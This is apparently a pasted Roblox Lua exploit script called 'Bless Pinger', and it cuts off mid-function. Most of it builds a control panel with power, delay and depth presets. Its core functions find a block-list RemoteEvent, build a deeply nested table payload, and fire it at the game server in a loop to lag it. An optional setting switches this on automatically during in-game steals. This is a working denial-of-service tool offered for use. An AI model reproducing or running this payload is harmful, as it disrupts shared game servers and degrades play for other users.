Pastefi mark
S1mple
/0rvom82m
Paste view
NONE PUBLIC 2 views
0rvom82m
2026-09-24 21:24:49
local UserInputService = game:GetService("UserInputService")
local TweenService     = game:GetService("TweenService")
local HttpService      = game:GetService("HttpService")
local Players          = game:GetService("Players")
local RunService       = game:GetService("RunService")
local CoreGui          = game:GetService("CoreGui")

local plr              = Players.LocalPlayer


if CoreGui:FindFirstChild("BlessPingerGui") then
    CoreGui.BlessPingerGui:Destroy()
end

local screen = Instance.new("ScreenGui")
screen.Name         = "BlessPingerGui"
screen.ResetOnSpawn = false
screen.DisplayOrder = 15
screen.Parent       = CoreGui


local CONFIG_FILE = "BlessPingerConfig.json"

local DEFAULT_NIVELES = {
    v1 = { power = 100000, delay = 0.125, depth = 186, label = "Low" },
    v2 = { power = 72000,  delay = 0.09,  depth = 186, label = "Mid" },
    v3 = { power = 43000,  delay = 0.05,  depth = 186, label = "High" },
}

local NIVELES = {}
for k, v in pairs(DEFAULT_NIVELES) do
    NIVELES[k] = { power = v.power, delay = v.delay, depth = v.depth, label = v.label }
end

local cfg = {
    keybindKb        = "M",
    keybindGp        = "ButtonR2",
    nivelActual      = "v1",
    autoEnable       = true,
    backgroundEnabled = true,
}

local laggerActive      = false
local listeningFor      = nil
local loopTask          = nil
local remote            = nil
local lastStealState    = nil
local refreshSettingsUI = nil

local function resolveKb(name)
    if not name or name == "" or name == "None" then return nil end
    local ok, val = pcall(function() return Enum.KeyCode[name] end)
    return (ok and val) or nil
end

local function saveConfig()
    pcall(function()
        local levels = {}
        for k, v in pairs(NIVELES) do
            levels[k] = { power = v.power, delay = v.delay, depth = v.depth }
        end
        writefile(CONFIG_FILE, HttpService:JSONEncode({
            KeybindKb         = cfg.keybindKb,
            KeybindGp         = cfg.keybindGp,
            NivelActual       = cfg.nivelActual,
            AutoEnable        = cfg.autoEnable,
            BackgroundEnabled = cfg.backgroundEnabled,
            Levels            = levels,
        }))
    end)
end

local function loadConfig()
    if pcall(isfile, CONFIG_FILE) and isfile(CONFIG_FILE) then
        pcall(function()
            local data = HttpService:JSONDecode(readfile(CONFIG_FILE))
            cfg.keybindKb        = data.KeybindKb or "M"
            cfg.keybindGp        = data.KeybindGp or "ButtonR2"
            cfg.nivelActual      = data.NivelActual or "v1"
            cfg.autoEnable       = data.AutoEnable ~= nil and data.AutoEnable or true
            cfg.backgroundEnabled = data.BackgroundEnabled ~= nil and data.BackgroundEnabled or true
            if type(data.Levels) == "table" then
                for k, v in pairs(data.Levels) do
                    if NIVELES[k] and type(v) == "table" then
                        NIVELES[k].power = tonumber(v.power) or NIVELES[k].power
                        NIVELES[k].delay = tonumber(v.delay) or NIVELES[k].delay
                        NIVELES[k].depth = tonumber(v.depth) or NIVELES[k].depth
                    end
                end
            end
        end)
    end
end
loadConfig()


local C = {
    bg      = Color3.fromRGB(7, 8, 11),
    panel   = Color3.fromRGB(10, 11, 15),
    card    = Color3.fromRGB(16, 17, 23),
    purp1   = Color3.fromRGB(92, 74, 255),
    purp2   = Color3.fromRGB(132, 92, 255),
    purp3   = Color3.fromRGB(190, 166, 255),
    blue1   = Color3.fromRGB(52, 106, 255),
    blue2   = Color3.fromRGB(72, 156, 255),
    white   = Color3.fromRGB(246, 247, 250),
    dim     = Color3.fromRGB(143, 146, 160),
    green   = Color3.fromRGB(79, 232, 150),
    red     = Color3.fromRGB(255, 91, 116),
    waiting = Color3.fromRGB(255, 194, 88),
    inputBg = Color3.fromRGB(8, 9, 13),
}

local T = { bg = 0.52, panel = 0.42, card = 0.50, header = 0.34, inputBg = 0.40 }

local function applyGradient(parent, c1, c2, rotation)
    local g = Instance.new("UIGradient", parent)
    g.Color    = ColorSequence.new({ ColorSequenceKeypoint.new(0,c1), ColorSequenceKeypoint.new(1,c2) })
    g.Rotation = rotation or 135
    return g
end

local function tw(obj, props, t)
    TweenService:Create(obj, TweenInfo.new(t or 0.15, Enum.EasingStyle.Quad, Enum.EasingDirection.Out), props):Play()
end

local function makeDraggable(frame)
    local dragging, dragStart, startPos
    frame.InputBegan:Connect(function(i)
        if i.UserInputType == Enum.UserInputType.MouseButton1 or i.UserInputType == Enum.UserInputType.Touch then
            dragging  = true
            dragStart = i.Position
            startPos  = frame.Position
            i.Changed:Connect(function()
                if i.UserInputState == Enum.UserInputState.End then dragging = false end
            end)
        end
    end)
    frame.InputChanged:Connect(function(i)
        if dragging and (i.UserInputType == Enum.UserInputType.MouseMovement or i.UserInputType == Enum.UserInputType.Touch) then
            local d = i.Position - dragStart
            frame.Position = UDim2.new(startPos.X.Scale, startPos.X.Offset + d.X, startPos.Y.Scale, startPos.Y.Offset + d.Y)
        end
    end)
end


local MAIN_W, MAIN_H = 236, 136

local mainFrame = Instance.new("Frame")
mainFrame.Name             = "MainFrame"
mainFrame.Size             = UDim2.new(0, MAIN_W, 0, MAIN_H)
mainFrame.Position         = UDim2.new(0.5, -MAIN_W/2, 0.5, -MAIN_H/2)
mainFrame.BackgroundColor3 = C.bg
mainFrame.BackgroundTransparency = T.bg
mainFrame.BorderSizePixel  = 0
mainFrame.Active           = true
mainFrame.Parent           = screen
Instance.new("UICorner", mainFrame).CornerRadius = UDim.new(0, 16)
applyGradient(mainFrame, C.bg, Color3.fromRGB(12, 11, 18), 145)

local mainStroke = Instance.new("UIStroke", mainFrame)
mainStroke.Color        = Color3.fromRGB(87, 76, 140)
mainStroke.Thickness    = 1.15
mainStroke.Transparency = 0.22

local mainGlow = Instance.new("Frame", mainFrame)
mainGlow.Name = "AmbientGlow"
mainGlow.Size = UDim2.new(1, 10, 1, 10)
mainGlow.Position = UDim2.new(0, -5, 0, -5)
mainGlow.BackgroundTransparency = 1
mainGlow.BorderSizePixel = 0
mainGlow.ZIndex = 0
Instance.new("UICorner", mainGlow).CornerRadius = UDim.new(0, 19)
local mainGlowStroke = Instance.new("UIStroke", mainGlow)
mainGlowStroke.Color = C.purp2
mainGlowStroke.Thickness = 6
mainGlowStroke.Transparency = 0.9

local bgImage = Instance.new("ImageLabel", mainFrame)
bgImage.Name = "BackgroundImage"
bgImage.Size = UDim2.new(1, 0, 1, 0)
bgImage.Position = UDim2.new(0, 0, 0, 0)
bgImage.BackgroundTransparency = 1
bgImage.BorderSizePixel = 0
bgImage.Image = "rbxassetid://128392339249001"
bgImage.ScaleType = Enum.ScaleType.Crop
bgImage.ImageTransparency = 0.08
bgImage.ZIndex = 1
Instance.new("UICorner", bgImage).CornerRadius = UDim.new(0, 16)

local bgShade = Instance.new("Frame", mainFrame)
bgShade.Name = "BackgroundShade"
bgShade.Size = UDim2.new(1, 0, 1, 0)
bgShade.Position = UDim2.new(0, 0, 0, 0)
bgShade.BackgroundColor3 = Color3.fromRGB(8, 8, 12)
bgShade.BackgroundTransparency = 0.58
bgShade.BorderSizePixel = 0
bgShade.ZIndex = 1
Instance.new("UICorner", bgShade).CornerRadius = UDim.new(0, 16)

local function updateBackgroundVisibility()
    bgImage.Visible = cfg.backgroundEnabled
    bgShade.Visible = cfg.backgroundEnabled
end
updateBackgroundVisibility()


makeDraggable(mainFrame)


local header = Instance.new("Frame", mainFrame)
header.Size             = UDim2.new(1,0,0,36)
header.BackgroundColor3 = C.card
header.BackgroundTransparency = T.header
header.BorderSizePixel  = 0
header.ZIndex           = 2
Instance.new("UICorner", header).CornerRadius = UDim.new(0,16)
applyGradient(header, Color3.fromRGB(22, 22, 31), Color3.fromRGB(12, 13, 18), 0)

local headerFill = Instance.new("Frame", mainFrame)
headerFill.Size             = UDim2.new(1,0,0,10)
headerFill.Position         = UDim2.new(0,0,0,26)
headerFill.BackgroundColor3 = Color3.fromRGB(12, 13, 18)
headerFill.BackgroundTransparency = T.header
headerFill.BorderSizePixel  = 0
headerFill.ZIndex           = 2
applyGradient(headerFill, Color3.fromRGB(12, 13, 18), Color3.fromRGB(12, 13, 18), 0)

local titleLbl = Instance.new("TextLabel", header)
titleLbl.Size               = UDim2.new(1,-104,0,15)
titleLbl.Position           = UDim2.new(0,24,0,5)
titleLbl.BackgroundTransparency = 1
titleLbl.Text               = "BLESS PINGER"
titleLbl.TextColor3         = C.white
titleLbl.Font               = Enum.Font.GothamBlack
titleLbl.TextSize           = 11
titleLbl.TextXAlignment     = Enum.TextXAlignment.Left
titleLbl.ZIndex             = 3

local brandDot = Instance.new("Frame", header)
brandDot.Size = UDim2.new(0,6,0,6)
brandDot.Position = UDim2.new(0,10,0,10)
brandDot.BackgroundColor3 = C.purp3
brandDot.BorderSizePixel = 0
brandDot.ZIndex = 4
Instance.new("UICorner", brandDot).CornerRadius = UDim.new(1,0)
local brandDotStroke = Instance.new("UIStroke", brandDot)
brandDotStroke.Color = C.blue2
brandDotStroke.Thickness = 2
brandDotStroke.Transparency = 0.5

local subtitleLbl = Instance.new("TextLabel", header)
subtitleLbl.Size = UDim2.new(1,-104,0,9)
subtitleLbl.Position = UDim2.new(0,24,0,20)
subtitleLbl.BackgroundTransparency = 1
subtitleLbl.Text = "NETWORK CONTROL"
subtitleLbl.TextColor3 = C.dim
subtitleLbl.Font = Enum.Font.GothamMedium
subtitleLbl.TextSize = 6
subtitleLbl.TextXAlignment = Enum.TextXAlignment.Left
subtitleLbl.ZIndex = 3


local statusPill = Instance.new("Frame", header)
statusPill.Size             = UDim2.new(0,44,0,18)
statusPill.Position         = UDim2.new(1,-80,0.5,-9)
statusPill.BackgroundColor3 = Color3.fromRGB(12, 13, 18)
statusPill.BackgroundTransparency = 0.04
statusPill.BorderSizePixel  = 0
statusPill.ZIndex           = 3
Instance.new("UICorner", statusPill).CornerRadius = UDim.new(0,7)
local statusStroke = Instance.new("UIStroke", statusPill)
statusStroke.Color = Color3.fromRGB(69,71,86)
statusStroke.Thickness = 1
statusStroke.Transparency = 0.35

local statusLbl = Instance.new("TextLabel", statusPill)
statusLbl.Size              = UDim2.new(1,0,1,0)
statusLbl.BackgroundTransparency = 1
statusLbl.Text              = "OFF"
statusLbl.TextColor3        = C.red
statusLbl.Font              = Enum.Font.GothamBlack
statusLbl.TextSize          = 8
statusLbl.ZIndex            = 4


local settingsEmojiBtn = Instance.new("TextButton", header)
settingsEmojiBtn.Size             = UDim2.new(0,26,0,26)
settingsEmojiBtn.Position         = UDim2.new(1,-31,0.5,-13)
settingsEmojiBtn.BackgroundColor3 = Color3.fromRGB(12, 13, 18)
settingsEmojiBtn.BackgroundTransparency = 0.02
settingsEmojiBtn.BorderSizePixel  = 0
settingsEmojiBtn.AutoButtonColor  = false
settingsEmojiBtn.Text             = "⚙️"
settingsEmojiBtn.TextColor3       = C.white
settingsEmojiBtn.Font             = Enum.Font.GothamBlack
settingsEmojiBtn.TextSize         = 13
settingsEmojiBtn.ZIndex           = 23
Instance.new("UICorner", settingsEmojiBtn).CornerRadius = UDim.new(0,8)
local settingsBtnStroke = Instance.new("UIStroke", settingsEmojiBtn)
settingsBtnStroke.Color = Color3.fromRGB(69,71,86)
settingsBtnStroke.Thickness = 1
settingsBtnStroke.Transparency = 0.3


local activateBtn = Instance.new("TextButton", mainFrame)
activateBtn.Size             = UDim2.new(1,-20,0,34)
activateBtn.Position         = UDim2.new(0,10,0,44)
activateBtn.BackgroundColor3 = C.card
activateBtn.BackgroundTransparency = T.card
activateBtn.BorderSizePixel  = 0
activateBtn.AutoButtonColor  = false
activateBtn.Text             = ""
activateBtn.ZIndex           = 3
Instance.new("UICorner", activateBtn).CornerRadius = UDim.new(0,10)
local activateGrad = applyGradient(activateBtn, Color3.fromRGB(73, 56, 211), Color3.fromRGB(121, 75, 238), 0)

local activateStroke = Instance.new("UIStroke", activateBtn)
activateStroke.Color        = C.purp3
activateStroke.Thickness    = 1
activateStroke.Transparency = 0.24

local activateLbl = Instance.new("TextLabel", activateBtn)
activateLbl.Size            = UDim2.new(1,0,1,0)
activateLbl.BackgroundTransparency = 1
activateLbl.Text            = "ACTIVATE"
activateLbl.TextColor3      = C.white
activateLbl.Font            = Enum.Font.GothamBlack
activateLbl.TextSize        = 11
activateLbl.ZIndex          = 5


local startLagger, stopLagger


local levelOrder = { "v1", "v2", "v3" }
local levelBtns = {}

local btnContainer = Instance.new("Frame", mainFrame)
btnContainer.Size = UDim2.new(1, -20, 0, 30)
btnContainer.Position = UDim2.new(0, 10, 0, 88)
btnContainer.BackgroundTransparency = 1
btnContainer.ZIndex = 5

local btnW = math.floor((MAIN_W - 20 - 12) / 3)

local function refreshLevelVisuals()
    for key, b in pairs(levelBtns) do
        local selected = (cfg.nivelActual == key)
        local stroke = b:FindFirstChildOfClass("UIStroke")

        if selected then
            b.BackgroundColor3 = Color3.fromRGB(30, 27, 48)
            b.BackgroundTransparency = 0.42
            b.TextColor3 = C.white
            if stroke then
                stroke.Color = C.purp3
                stroke.Thickness = 1.25
                stroke.Transparency = 0.05
            end
        else
            b.BackgroundColor3 = C.card
            b.BackgroundTransparency = 0.62
            b.TextColor3 = C.dim
            if stroke then
                stroke.Color = Color3.fromRGB(56, 58, 70)
                stroke.Thickness = 1
                stroke.Transparency = 0.25
            end
        end
    end
end

for i, key in ipairs(levelOrder) do
    local b = Instance.new("TextButton", btnContainer)
    b.Size = UDim2.new(0, btnW, 1, 0)
    b.Position = UDim2.new(0, (i - 1) * (btnW + 6), 0, 0)
    b.BackgroundColor3 = C.card
    b.BackgroundTransparency = 0.62
    b.BorderSizePixel = 0
    b.Text = NIVELES[key].label
    b.TextColor3 = C.dim
    b.TextSize = 9
    b.Font = Enum.Font.GothamBlack
    b.AutoButtonColor = false
    b.ZIndex = 6
    Instance.new("UICorner", b).CornerRadius = UDim.new(0, 9)

    local st = Instance.new("UIStroke", b)
    st.Color = Color3.fromRGB(56, 58, 70)
    st.Thickness = 1
    st.Transparency = 0.25

    b.MouseButton1Click:Connect(function()
        cfg.nivelActual = key
        refreshLevelVisuals()
        if refreshSettingsUI then refreshSettingsUI() end
        saveConfig()

        if laggerActive then
            startLagger()
        end
    end)
    levelBtns[key] = b
end

refreshLevelVisuals()


local SET_W, SET_H = 244, 362

local settingsFrame = Instance.new("Frame")
settingsFrame.Name             = "SettingsPanel"
settingsFrame.Size             = UDim2.new(0,SET_W,0,SET_H)
settingsFrame.Position         = UDim2.new(0.5,-SET_W/2,0.5,-SET_H/2)
settingsFrame.BackgroundColor3 = C.panel
settingsFrame.BackgroundTransparency = T.panel
settingsFrame.BorderSizePixel  = 0
settingsFrame.ClipsDescendants = true
settingsFrame.Visible          = false
settingsFrame.ZIndex           = 20
settingsFrame.Parent           = screen
Instance.new("UICorner", settingsFrame).CornerRadius = UDim.new(0,16)
applyGradient(settingsFrame, C.panel, Color3.fromRGB(13, 12, 19), 145)

local setStroke = Instance.new("UIStroke", settingsFrame)
setStroke.Color        = Color3.fromRGB(87, 76, 140)
setStroke.Thickness    = 1.15
setStroke.Transparency = 0.22

local settingsAccent = Instance.new("Frame", settingsFrame)
settingsAccent.Size = UDim2.new(1, -30, 0, 2)
settingsAccent.Position = UDim2.new(0, 15, 0, 0)
settingsAccent.BorderSizePixel = 0
settingsAccent.BackgroundColor3 = C.purp3
settingsAccent.ZIndex = 30
Instance.new("UICorner", settingsAccent).CornerRadius = UDim.new(1, 0)
applyGradient(settingsAccent, C.purp3, C.blue2, 0)

makeDraggable(settingsFrame)


local setHeader = Instance.new("Frame", settingsFrame)
setHeader.Size             = UDim2.new(1,0,0,36)
setHeader.BackgroundColor3 = C.card
setHeader.BackgroundTransparency = T.header
setHeader.BorderSizePixel  = 0
setHeader.ZIndex           = 21
Instance.new("UICorner", setHeader).CornerRadius = UDim.new(0,16)
applyGradient(setHeader, Color3.fromRGB(22, 22, 31), Color3.fromRGB(12, 13, 18), 0)

local setHeaderFill = Instance.new("Frame", settingsFrame)
setHeaderFill.Size             = UDim2.new(1,0,0,10)
setHeaderFill.Position         = UDim2.new(0,0,0,26)
setHeaderFill.BackgroundColor3 = Color3.fromRGB(12, 13, 18)
setHeaderFill.BackgroundTransparency = T.header
setHeaderFill.BorderSizePixel  = 0
setHeaderFill.ZIndex           = 21
applyGradient(setHeaderFill, Color3.fromRGB(12, 13, 18), Color3.fromRGB(12, 13, 18), 0)

local setTitle = Instance.new("TextLabel", setHeader)
setTitle.Size               = UDim2.new(1,-70,0,15)
setTitle.Position           = UDim2.new(0,14,0,5)
setTitle.BackgroundTransparency = 1
setTitle.Text               = "Settings"
setTitle.TextColor3         = C.white
setTitle.Font               = Enum.Font.GothamBlack
setTitle.TextSize           = 11
setTitle.TextXAlignment     = Enum.TextXAlignment.Left
setTitle.ZIndex             = 22

local setSubtitle = Instance.new("TextLabel", setHeader)
setSubtitle.Size = UDim2.new(1,-70,0,9)
setSubtitle.Position = UDim2.new(0,14,0,20)
setSubtitle.BackgroundTransparency = 1
setSubtitle.Text = "PRESET & INPUT SETTINGS"
setSubtitle.TextColor3 = C.dim
setSubtitle.Font = Enum.Font.GothamMedium
setSubtitle.TextSize = 6
setSubtitle.TextXAlignment = Enum.TextXAlignment.Left
setSubtitle.ZIndex = 22

local setCloseBtn = Instance.new("TextButton", setHeader)
setCloseBtn.Size             = UDim2.new(0,26,0,26)
setCloseBtn.Position         = UDim2.new(1,-31,0.5,-13)
setCloseBtn.BackgroundColor3 = Color3.fromRGB(12, 13, 18)
setCloseBtn.BackgroundTransparency = 0.02
setCloseBtn.BorderSizePixel  = 0
setCloseBtn.AutoButtonColor  = false
setCloseBtn.Text             = "X"
setCloseBtn.TextColor3       = C.white
setCloseBtn.Font             = Enum.Font.GothamBlack
setCloseBtn.TextSize         = 11
setCloseBtn.ZIndex           = 23
Instance.new("UICorner", setCloseBtn).CornerRadius = UDim.new(0,8)
local closeStroke = Instance.new("UIStroke", setCloseBtn)
closeStroke.Color = Color3.fromRGB(69,71,86)
closeStroke.Thickness = 1
closeStroke.Transparency = 0.3

local inputBoxes = {}

local function mkInputRow(yPos, labelText, getValue, onConfirm)
    local row = Instance.new("Frame", settingsFrame)
    row.Size             = UDim2.new(1,-20,0,34)
    row.Position         = UDim2.new(0,10,0,yPos)
    row.BackgroundColor3 = C.card
    row.BackgroundTransparency = T.card
    row.BorderSizePixel  = 0
    row.ZIndex           = 21
    Instance.new("UICorner", row).CornerRadius = UDim.new(0,10)
    local rs = Instance.new("UIStroke",row); rs.Color=Color3.fromRGB(54,56,69); rs.Thickness=1; rs.Transparency=0.18

    local lbl = Instance.new("TextLabel", row)
    lbl.Size               = UDim2.new(0.45,0,1,0)
    lbl.Position           = UDim2.new(0,10,0,0)
    lbl.BackgroundTransparency = 1
    lbl.Text               = labelText
    lbl.TextColor3         = Color3.fromRGB(225,227,235)
    lbl.Font               = Enum.Font.GothamBold
    lbl.TextSize           = 10
    lbl.TextXAlignment     = Enum.TextXAlignment.Left
    lbl.ZIndex             = 22

    local box = Instance.new("TextBox", row)
    box.Size               = UDim2.new(0,72,0,24)
    box.Position           = UDim2.new(1,-80,0.5,-12)
    box.BackgroundColor3   = C.inputBg
    box.BackgroundTransparency = T.inputBg
    box.BorderSizePixel    = 0
    box.Text               = tostring(getValue())
    box.TextColor3         = C.purp3
    box.Font               = Enum.Font.GothamBold
    box.TextSize           = 11
    box.ClearTextOnFocus   = false
    box.ZIndex             = 23
    Instance.new("UICorner", box).CornerRadius = UDim.new(0,8)

    local bs = Instance.new("UIStroke",box); bs.Color=Color3.fromRGB(81,72,128); bs.Thickness=1; bs.Transparency=0.2

    box.FocusLost:Connect(function()
        local n = tonumber(box.Text)
        if n then
            onConfirm(n)
            box.Text = tostring(getValue())
            saveConfig()
            if laggerActive then startLagger() end
        else
            box.Text = tostring(getValue())
        end
    end)

    table.insert(inputBoxes, { box = box, getValue = getValue })
    return box
end

refreshSettingsUI = function()
    for _, item in ipairs(inputBoxes) do
        item.box.Text = tostring(item.getValue())
    end
end


local kbBindBtn, gpBindBtn

local function updateKbLabels()
    if kbBindBtn then
        kbBindBtn.Text = listeningFor == "kb" and "Press..." or (cfg.keybindKb ~= "" and cfg.keybindKb or "None")
        kbBindBtn.TextColor3 = listeningFor == "kb" and C.waiting or C.purp3
    end
    if gpBindBtn then
        gpBindBtn.Text = listeningFor == "gp" and "Press..." or (cfg.keybindGp ~= "" and cfg.keybindGp or "None")
        gpBindBtn.TextColor3 = listeningFor == "gp" and C.waiting or C.purp3
    end
end

local function mkKeybindRow(yPos, labelText, which)
    local row = Instance.new("Frame", settingsFrame)
    row.Size             = UDim2.new(1,-20,0,34)
    row.Position         = UDim2.new(0,10,0,yPos)
    row.BackgroundColor3 = C.card
    row.BackgroundTransparency = T.card
    row.BorderSizePixel  = 0
    row.ZIndex           = 21
    Instance.new("UICorner", row).CornerRadius = UDim.new(0,10)
    local rs = Instance.new("UIStroke",row); rs.Color=Color3.fromRGB(54,56,69); rs.Thickness=1; rs.Transparency=0.18

    local lbl = Instance.new("TextLabel", row)
    lbl.Size               = UDim2.new(0.4,0,1,0)
    lbl.Position           = UDim2.new(0,10,0,0)
    lbl.BackgroundTransparency = 1
    lbl.Text               = labelText
    lbl.TextColor3         = Color3.fromRGB(225,227,235)
    lbl.Font               = Enum.Font.GothamBold
    lbl.TextSize           = 10
    lbl.TextXAlignment     = Enum.TextXAlignment.Left
    lbl.ZIndex             = 22

    local bindBtn = Instance.new("TextButton", row)
    bindBtn.Size             = UDim2.new(0,78,0,24)
    bindBtn.Position         = UDim2.new(1,-90,0.5,-12)
    bindBtn.BackgroundColor3 = C.inputBg
    bindBtn.BackgroundTransparency = T.inputBg
    bindBtn.BorderSizePixel  = 0
    bindBtn.AutoButtonColor  = false
    bindBtn.Font             = Enum.Font.GothamBold
    bindBtn.TextSize         = 9
    bindBtn.TextColor3       = C.purp3
    bindBtn.ZIndex           = 23
    bindBtn.Text             = which == "kb" and cfg.keybindKb or cfg.keybindGp
    Instance.new("UICorner", bindBtn).CornerRadius = UDim.new(0,8)

    local bStr = Instance.new("UIStroke",bindBtn); bStr.Color=Color3.fromRGB(81,72,128); bStr.Thickness=1; bStr.Transparency=0.2

    bindBtn.MouseButton1Click:Connect(function()
        listeningFor = (listeningFor == which) and nil or which
        updateKbLabels()
    end)

    if which == "kb" then kbBindBtn = bindBtn end
    if which == "gp" then gpBindBtn = bindBtn end

    return bindBtn
end

local Y = 42
local GAP = 6

mkInputRow(Y, "Power", function() return NIVELES[cfg.nivelActual].power end, function(v)
    NIVELES[cfg.nivelActual].power = math.clamp(v, 1000, 250000)
end); Y = Y + 34 + GAP

mkInputRow(Y, "Delay", function() return NIVELES[cfg.nivelActual].delay end, function(v)
    NIVELES[cfg.nivelActual].delay = math.clamp(v, 0.001, 3)
end); Y = Y + 34 + GAP

mkInputRow(Y, "Depth", function() return NIVELES[cfg.nivelActual].depth end, function(v)
    NIVELES[cfg.nivelActual].depth = math.clamp(v, 1, 500)
end); Y = Y + 34 + GAP


local autoRow = Instance.new("Frame", settingsFrame)
autoRow.Size             = UDim2.new(1,-20,0,34)
autoRow.Position         = UDim2.new(0,10,0,Y)
autoRow.BackgroundColor3 = C.card
autoRow.BackgroundTransparency = T.card
autoRow.BorderSizePixel  = 0
autoRow.ZIndex           = 21
Instance.new("UICorner", autoRow).CornerRadius = UDim.new(0,10)
local rs = Instance.new("UIStroke",autoRow); rs.Color=Color3.fromRGB(54,56,69); rs.Thickness=1; rs.Transparency=0.18

local autoLbl = Instance.new("TextLabel", autoRow)
autoLbl.Size               = UDim2.new(0.7,0,1,0)
autoLbl.Position           = UDim2.new(0,10,0,0)
autoLbl.BackgroundTransparency = 1
autoLbl.Text               = "Auto Enable on Steal"
autoLbl.TextColor3         = Color3.fromRGB(225,227,235)
autoLbl.Font               = Enum.Font.GothamBold
autoLbl.TextSize           = 10
autoLbl.TextXAlignment     = Enum.TextXAlignment.Left
autoLbl.ZIndex             = 22

local autoBtn = Instance.new("TextButton", autoRow)
autoBtn.Size             = UDim2.new(0,52,0,24)
autoBtn.Position         = UDim2.new(1,-62,0.5,-12)
autoBtn.BackgroundColor3 = cfg.autoEnable and C.green or Color3.fromRGB(34,18,23)
autoBtn.BorderSizePixel  = 0
autoBtn.AutoButtonColor  = false
autoBtn.Text             = cfg.autoEnable and "ON" or "OFF"
autoBtn.TextColor3       = C.white
autoBtn.Font             = Enum.Font.GothamBlack
autoBtn.TextSize         = 9
autoBtn.ZIndex           = 23
Instance.new("UICorner", autoBtn).CornerRadius = UDim.new(0,8)

autoBtn.MouseButton1Click:Connect(function()
    cfg.autoEnable = not cfg.autoEnable
    autoBtn.Text = cfg.autoEnable and "ON" or "OFF"
    tw(autoBtn, {BackgroundColor3 = cfg.autoEnable and C.green or Color3.fromRGB(34,18,23)}, 0.15)
    saveConfig()
end)

Y = Y + 34 + GAP

local bgRow = Instance.new("Frame", settingsFrame)
bgRow.Size             = UDim2.new(1,-20,0,34)
bgRow.Position         = UDim2.new(0,10,0,Y)
bgRow.BackgroundColor3 = C.card
bgRow.BackgroundTransparency = T.card
bgRow.BorderSizePixel  = 0
bgRow.ZIndex           = 21
Instance.new("UICorner", bgRow).CornerRadius = UDim.new(0,10)
local bgRowStroke = Instance.new("UIStroke",bgRow); bgRowStroke.Color=Color3.fromRGB(54,56,69); bgRowStroke.Thickness=1; bgRowStroke.Transparency=0.18

local bgLbl = Instance.new("TextLabel", bgRow)
bgLbl.Size               = UDim2.new(0.7,0,1,0)
bgLbl.Position           = UDim2.new(0,10,0,0)
bgLbl.BackgroundTransparency = 1
bgLbl.Text               = "Background Image"
bgLbl.TextColor3         = Color3.fromRGB(225,227,235)
bgLbl.Font               = Enum.Font.GothamBold
bgLbl.TextSize           = 10
bgLbl.TextXAlignment     = Enum.TextXAlignment.Left
bgLbl.ZIndex             = 22

local bgBtn = Instance.new("TextButton", bgRow)
bgBtn.Size             = UDim2.new(0,52,0,24)
bgBtn.Position         = UDim2.new(1,-62,0.5,-12)
bgBtn.BackgroundColor3 = cfg.backgroundEnabled and Color3.fromRGB(70, 132, 255) or Color3.fromRGB(34,18,23)
bgBtn.BorderSizePixel  = 0
bgBtn.AutoButtonColor  = false
bgBtn.Text             = cfg.backgroundEnabled and "ON" or "OFF"
bgBtn.TextColor3       = C.white
bgBtn.Font             = Enum.Font.GothamBlack
bgBtn.TextSize         = 9
bgBtn.ZIndex           = 23
Instance.new("UICorner", bgBtn).CornerRadius = UDim.new(0,8)

bgBtn.MouseButton1Click:Connect(function()
    cfg.backgroundEnabled = not cfg.backgroundEnabled
    bgBtn.Text = cfg.backgroundEnabled and "ON" or "OFF"
    tw(bgBtn, {BackgroundColor3 = cfg.backgroundEnabled and Color3.fromRGB(70, 132, 255) or Color3.fromRGB(34,18,23)}, 0.15)
    updateBackgroundVisibility()
    saveConfig()
end)

Y = Y + 34 + GAP

mkKeybindRow(Y, "Keyboard", "kb"); Y = Y + 34 + GAP
mkKeybindRow(Y, "Controller", "gp"); Y = Y + 34 + GAP


local settingsOpen = false
local function toggleSettings()
    settingsOpen = not settingsOpen
    settingsFrame.Visible = settingsOpen
    if settingsOpen then
        refreshSettingsUI()
        settingsFrame.Size = UDim2.new(0, SET_W, 0, 0)
        tw(settingsFrame, {Size = UDim2.new(0, SET_W, 0, SET_H)}, 0.2)
    end
end
settingsEmojiBtn.MouseButton1Click:Connect(toggleSettings)
setCloseBtn.MouseButton1Click:Connect(toggleSettings)


local function findRemote()
    local rrs = game:FindFirstChild("RobloxReplicatedStorage")
    if not rrs then return nil end
    for _, name in ipairs({ "SetPlayerBlockList", "UpdatePlayerBlockList", "SetBlockList", "UpdateBlockList" }) do
        local r = rrs:FindFirstChild(name)
        if r and r:IsA("RemoteEvent") then return r end
    end
    for _, c in ipairs(rrs:GetChildren()) do
        if c:IsA("RemoteEvent") and c.Name:find("Block") then return c end
    end
    return nil
end

local function buildPayload(power, depth)
    depth = depth or 186
    local main = {}
    local nested = { {} }
    local current = nested[1]
    for _ = 1, depth do
        local n = {}
        table.insert(current, n)
        current = n
    end
    local maxRep = math.min(math.floor(power / (depth + 2)), 10000)
    for _ = 1, maxRep do
        table.insert(main, nested)
    end
    return main
end

stopLagger = function()
    if loopTask then
        task.cancel(loopTask)
        loopTask = nil
    end
end

startLagger = function()
    stopLagger()
    remote = remote or findRemote()
    if not remote then return end

    local params = NIVELES[cfg.nivelActual]
    local payload = buildPayload(params.power, params.depth)
    local baseDelay = params.delay

    loopTask = task.spawn(function()
        local currentDelay = baseDelay
        while laggerActive do
            if not remote then
                remote = findRemote()
                task.wait(1)
            else
                local ok = pcall(function()
                    remote:FireServer(payload)
                end)
                if not ok then
                    currentDelay = math.min(currentDelay * 1.5, 0.5)
                else
                    currentDelay = math.max(currentDelay * 0.995, baseDelay)
                end
                task.wait(currentDelay)
            end
        end
    end)
end

local function toggleLaggerState(state)
    laggerActive = state
    if laggerActive then
        activateGrad.Color = ColorSequence.new({ ColorSequenceKeypoint.new(0, C.purp2), ColorSequenceKeypoint.new(1, C.blue2) })
        activateLbl.Text            = "ACTIVATED"
        activateStroke.Color        = C.white
        activateStroke.Transparency = 0
        statusLbl.Text              = "ON"
        statusLbl.TextColor3        = C.green
        tw(statusPill, {BackgroundColor3 = Color3.fromRGB(10, 40, 20)}, 0.2)
        startLagger()
    else
        activateGrad.Color = ColorSequence.new({ ColorSequenceKeypoint.new(0, C.purp1), ColorSequenceKeypoint.new(1, C.purp2) })
        activateLbl.Text            = "ACTIVATE"
        activateStroke.Color        = C.purp3
        activateStroke.Transparency = 0.4
        statusLbl.Text              = "OFF"
        statusLbl.TextColor3        = C.red
        tw(statusPill, {BackgroundColor3 = Color3.fromRGB(20, 10, 38)}, 0.2)
        stopLagger()
    end
end

activateBtn.MouseButton1Click:Connect(function()
    toggleLaggerState(not laggerActive)
end)


RunService.Heartbeat:Connect(function()
    if not cfg.autoEnable then
        lastStealState = nil
        return
    end
    local char = plr.Character
    if not char then return end
